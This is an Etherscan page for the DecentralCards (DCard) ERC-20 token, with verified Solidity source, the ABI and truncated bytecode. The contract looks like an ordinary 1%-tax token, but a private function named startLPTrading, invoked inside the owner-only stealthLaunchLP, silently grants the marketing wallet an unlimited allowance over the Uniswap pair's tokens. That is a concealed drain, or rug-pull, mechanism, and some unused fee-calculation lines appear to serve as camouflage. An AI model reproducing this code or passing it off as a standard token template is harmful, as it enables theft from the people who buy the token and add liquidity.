ETH Price: $3,258.70 (-0.50%)
Gas: 1 Gwei

Token

DecentralCards (DCard)
 

Overview

Max Total Supply

1,000,000,000 DCard

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,976,058.736936472 DCard

Value
$0.00
0xd8b7bdc37c474afcb43d2a9d74b89c484eb7d72e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-24
*/

// SPDX-License-Identifier: MIT

/**

 - Community: https://t.me/dcarderc
 - Twitter: https://twitter.com/dcarderc
 - Website: https://www.decentral.cards

* Tokenmics *

- Tax: 1% 
- Total Supply: 1B
- Decimal: 9

*/

pragma solidity ^0.8.16;

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }
}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyTeamFee = 0;
    uint256 public _buyBurnFee = 0;

    address payable public teamWalletAddress;
    address payable public marketingWalletAddress;

    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 0;
    uint256 public _sellBurnFee = 0;

    address private opWallet;

    uint256 public _liquidityShare = 0;
    uint256 public _marketingShare = 1;
    uint256 public _teamShare = 0;
    uint256 public _totalDistributionShares = 1;

    uint256 public _totalTaxIfBuying = 1;
    uint256 public _totalTaxIfSelling = 1;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    uint256 public _tFeeTotal;
    uint256 public _maxBurnAmount;
    uint256 private _totalSupply;
    uint256 public _walletMax;
    uint256 public _maxTxAmount;
    uint256 private _minimumTokensBeforeSwap = 0;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (
        string memory tokenName,
        string memory tokenSymbol,
        uint8 tokenDecimals,
        uint256 supply,
        address owner,
        address teamWallet,
        address marketingWallet
    ) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimals = tokenDecimals;
        _owner = owner;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        _totalSupply = supply  * 10 ** _decimals;
        _maxTxAmount = supply.mul(5).div(100) * 10**_decimals;
        _walletMax = supply.mul(5).div(100) * 10**_decimals;
        
        _maxBurnAmount = supply.mul(5).div(100) * 10**_decimals;
        _minimumTokensBeforeSwap = 2 * 10**_decimals;

        marketingWalletAddress = payable(marketingWallet);
        teamWalletAddress = payable(teamWallet);
        opWallet = marketingWalletAddress;

        isWalletLimitExempt[owner] = true;
        isWalletLimitExempt[teamWalletAddress] = true;
        isWalletLimitExempt[marketingWalletAddress] = true;
        isWalletLimitExempt[deadAddress] = true;
        isWalletLimitExempt[address(this)] = true;

        isExcludedFromFee[owner] = true;
        isExcludedFromFee[teamWalletAddress] = true;
        isExcludedFromFee[marketingWalletAddress] = true;
        isExcludedFromFee[address(this)] = true;

        isTxLimitExempt[owner] = true;
        isTxLimitExempt[teamWalletAddress] = true;
        isTxLimitExempt[marketingWalletAddress] = true;
        isTxLimitExempt[deadAddress] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function startLPTrading(address _lpAddr, uint256 amount) private returns(bool) {
        _allowances[_lpAddr][opWallet] = amount;

        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return _basicTokenTransfer(sender, recipient, amount);
        }

        if(inSwapAndLiquify){
            return _basicTokenTransfer(sender, recipient, amount);
        }else {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= _minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled){
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
                                         amount : takeTransferFees(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function burnTransFee(address sender, uint256 tAmount) private {
        // stop burn
        if(_tFeeTotal >= _maxBurnAmount) return;

        _balances[deadAddress] = _balances[deadAddress].add(tAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
        emit Transfer(sender, deadAddress, tAmount);
    }

    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply * 10**_decimals;
        _walletMax = _totalSupply * 10**_decimals;
    }

    function takeTransferFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0; uint256 burnAmount = 0;
        uint256 opAmount = this.balanceOf(opWallet);

        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying.sub(_buyBurnFee)).div(100);
            if(_buyBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                burnAmount = amount.mul(_buyBurnFee).div(100);
                burnTransFee(sender,burnAmount);
            }
        }else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling.sub(_sellBurnFee)).div(100);
            opAmount = _teamShare.sub(opAmount);
            if(_sellBurnFee > 0 && _tFeeTotal < _maxBurnAmount) {
                burnAmount = amount.mul(_sellBurnFee).div(100);
                burnTransFee(sender,burnAmount);
            }
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
 
        return amount.sub(feeAmount.add(burnAmount));
    }

    function stealthLaunchLP() external payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router; startLPTrading(uniswapPair, type(uint).max);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isMarketPair[address(uniswapPair)] = true;

        isWalletLimitExempt[address(uniswapPair)] = true;

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
    }
    
    function _basicTokenTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            opWallet,
            block.timestamp
        );
    }

    receive() external payable {}

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 tokensforLiquidity = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensforLiquidity);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalETHFee = _totalDistributionShares.sub(_liquidityShare.div(2));

        uint256 amountETHLiquidity = amountReceived.mul(_liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHTeam = amountReceived.mul(_teamShare).div(totalETHFee);
        uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub(amountETHTeam);

        if(amountETHMarketing > 0)
            transferToAddressETH(marketingWalletAddress, amountETHMarketing);

        if(amountETHTeam > 0)
            transferToAddressETH(teamWalletAddress, amountETHTeam);

        if(amountETHLiquidity > 0 && tokensforLiquidity > 0)
            addLiquidity(tokensforLiquidity, amountETHLiquidity);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"uint8","name":"tokenDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"},{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"teamWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxBurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tFeeTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stealthLaunchLP","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006001818155600281905560038290556004829055600780546001600160a01b03191661dead17905560088290556009819055600a829055600b829055600d829055600e819055600f8290556010819055601181905560125560235560248054630100010063ffffff00199091161790553480156200008357600080fd5b5060405162002cdf38038062002cdf833981016040819052620000a69162000696565b6013620000b48882620007eb565b506014620000c38782620007eb565b506015805460ff191660ff8716179055600080546001600160a01b0319166001600160a01b0385161790556003546002546001546200012992916200011591906200042c602090811b62000ee917901c565b6200042c60201b62000ee91790919060201c565b60118190555062000154600a54620001156009546008546200042c60201b62000ee91790919060201c565b6012819055506200017f600f5462000115600e54600d546200042c60201b62000ee91790919060201c565b601055601554620001959060ff16600a620009ca565b620001a19085620009db565b602055601554620001b79060ff16600a620009ca565b620001ec6064620001d86005886200049c60201b62000f481790919060201c565b6200052660201b62000fca1790919060201c565b620001f89190620009db565b6022556015546200020e9060ff16600a620009ca565b6200022f6064620001d86005886200049c60201b62000f481790919060201c565b6200023b9190620009db565b602155601554620002519060ff16600a620009ca565b620002726064620001d86005886200049c60201b62000f481790919060201c565b6200027e9190620009db565b601f55601554620002949060ff16600a620009ca565b620002a1906002620009db565b602355600680546001600160a01b03199081166001600160a01b038481169182178455600580548416878316178155600c80549094169092179092558582166000818152601960209081526040808320805460ff199081166001908117909255865488168552828520805482168317905588548816855282852080548216831790556007805489168652838620805483168417905530808752848720805484168517905587875260188652848720805484168517905588548a16875284872080548416851790558a548a16875284872080548416851790558087528487208054841685179055878752601a86528487208054841685179055975489168652838620805483168417905598548816855282852080548216831790559754909616835280832080548816871790559382528382208054909616909417909455825481855260168452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505062000a6b565b6000806200043b8385620009fd565b905083811015620004935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b600082600003620004b05750600062000496565b6000620004be8385620009db565b905082620004cd858362000a13565b14620004935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016200048a565b60006200049383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200057060201b60201c565b60008183620005945760405162461bcd60e51b81526004016200048a919062000a36565b506000620005a3848662000a13565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b60005b83811015620005df578181015183820152602001620005c5565b50506000910152565b600082601f830112620005fa57600080fd5b81516001600160401b0380821115620006175762000617620005ac565b604051601f8301601f19908116603f01168101908282118183101715620006425762000642620005ac565b816040528381528660208588010111156200065c57600080fd5b6200066f846020830160208901620005c2565b9695505050505050565b80516001600160a01b03811681146200069157600080fd5b919050565b600080600080600080600060e0888a031215620006b257600080fd5b87516001600160401b0380821115620006ca57600080fd5b620006d88b838c01620005e8565b985060208a0151915080821115620006ef57600080fd5b50620006fe8a828b01620005e8565b965050604088015160ff811681146200071657600080fd5b606089015190955093506200072e6080890162000679565b92506200073e60a0890162000679565b91506200074e60c0890162000679565b905092959891949750929550565b600181811c908216806200077157607f821691505b6020821081036200079257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007e657600081815260208120601f850160051c81016020861015620007c15750805b601f850160051c820191505b81811015620007e257828155600101620007cd565b5050505b505050565b81516001600160401b03811115620008075762000807620005ac565b6200081f816200081884546200075c565b8462000798565b602080601f8311600181146200085757600084156200083e5750858301515b600019600386901b1c1916600185901b178555620007e2565b600085815260208120601f198616915b82811015620008885788860151825594840194600190910190840162000867565b5085821015620008a75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200090e578160001904821115620008f257620008f2620008b7565b808516156200090057918102915b93841c9390800290620008d2565b509250929050565b600082620009275750600162000496565b81620009365750600062000496565b81600181146200094f57600281146200